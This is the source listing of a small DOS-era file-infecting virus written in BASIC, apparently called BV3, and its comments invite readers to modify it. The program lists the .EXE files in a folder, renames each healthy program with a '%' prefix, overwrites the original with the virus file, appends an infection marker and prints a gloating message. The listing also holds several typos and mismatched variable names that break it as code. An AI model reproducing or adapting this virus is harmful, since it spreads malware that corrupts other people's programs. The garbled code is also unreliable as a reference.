10 REM ** DEMO  
20 REM ** MODIFY IT YOUR OWN WAY IF DESIRED **
30 REM ** BASIC DOESNT SUCK 
40 REM ** NO KIDDING
50 ON ERROR GOTO 670
60 REM *** LENGHTVIR MUST BE SET **
70 REM *** TO THE LENGHT TO THE **
80 REM *** LINKED PROGRAM ***
90 LENGHTVIR=2641
100 VIRROOT$="BV3.EXE"
110 REM *** WRITE THE DIRECTORY IN THE FILE "INH"
130 SHELL "DIR *.EXE>INH"
140 REM ** OPEN "INH" FILE AND READ NAMES **
150 OPEN "R",1,"INH",32000 
160 GET #1,1
170 LINE INPUT#1,ORIGINAL$
180 LINE INPUT#1,ORIGINAL$
190 LINE INPUT#1,ORIGINAL$
200 LINE INPUT#1,ORIGINAL$  
210 ON ERROR GOT 670
220 CLOSE#2
230 F=1:LINE INPUT#1,ORIGINAL$
240 REM ** "%" IS THE MARKER OF THE BV3
250 REM ** "%" IN THE NAME MEANS
260 REM  ** INFECTED COPY PRESENT 
270 IF MID$(ORIGINAL$,1,1)="%" THEN GOTO 210
280 ORIGINAL$=MID$(ORIGINAL$,1,13)
290 EXTENSIONS$=MID$(ORIGINAL,9,13)
300 MID$(EXTENSIONS$,1,1)="."
310 REM *** CONCATENATE NAMES INTO FILENAMES **
320 F=F+1
330 IF MID$(ORIGINAL$,F,1)=" " OR MID$ (ORIGINAL$,F,1)="." OR F=13 THEN      
GOTO 350
340 GOTO 320
350 ORIGINAL$=MID$(ORIGINAL$,1,F-1)+EXTENSION$
360 ON ERROR GOTO 210
365 TEST$=""
370 REM ++ OPEN FILE FOUND +++
380 OPEN "R",2,OROGINAL$,LENGHTVIR
390 IF LOF(2) < LENGHTVIR THEN GOTO 420
400 GET #2,2
410 LINE INPUT#1,TEST$
420 CLOSE#2
431 REM ++ CHECK IF PROGRAM IS ILL ++   
440 REM ++ "%" AT THE END OF THE FILE MEANS..
450 REM ++ FILE IS ALREADY SICK ++
460 REM IF MID$(TEST,2,1)="%" THEN GOTO 210
470 CLOSE#1
480 ORIGINALS$=ORIGINAL$
490 MID$(ORIGINALS$,1,1)="%"
499 REM ++++ SANE "HEALTHY" PROGRAM ++++
510 C$="COPY "+ORIGINAL$+" "+ORIGINALS$          
520 SHELL C$
530 REM *** COPY VIRUS TO HEALTHY PROGRAM ****
540 C$="COPY "+VIRROOT$+ORIGINAL$
550 SHELL C$
560 REM *** APPEND VIRUS MARKER ***
570 OPEN ORIGINAL$ FOR APPEND AS #1 LEN=13
580 WRITE#1,ORIGINALS$
590 CLOSE#1
630 REM ++ OUYPUT MESSAGE ++
640 PRINT "INFECTION IN " ;ORIGIANAL$; "  !! BE WARE !!"
650 SYSTEM
660 REM ** VIRUS ERROR MESSAGE 
670 PRINT "VIRUS INTERNAL ERROR GOTTCHA !!!!":SYSTEM
680 END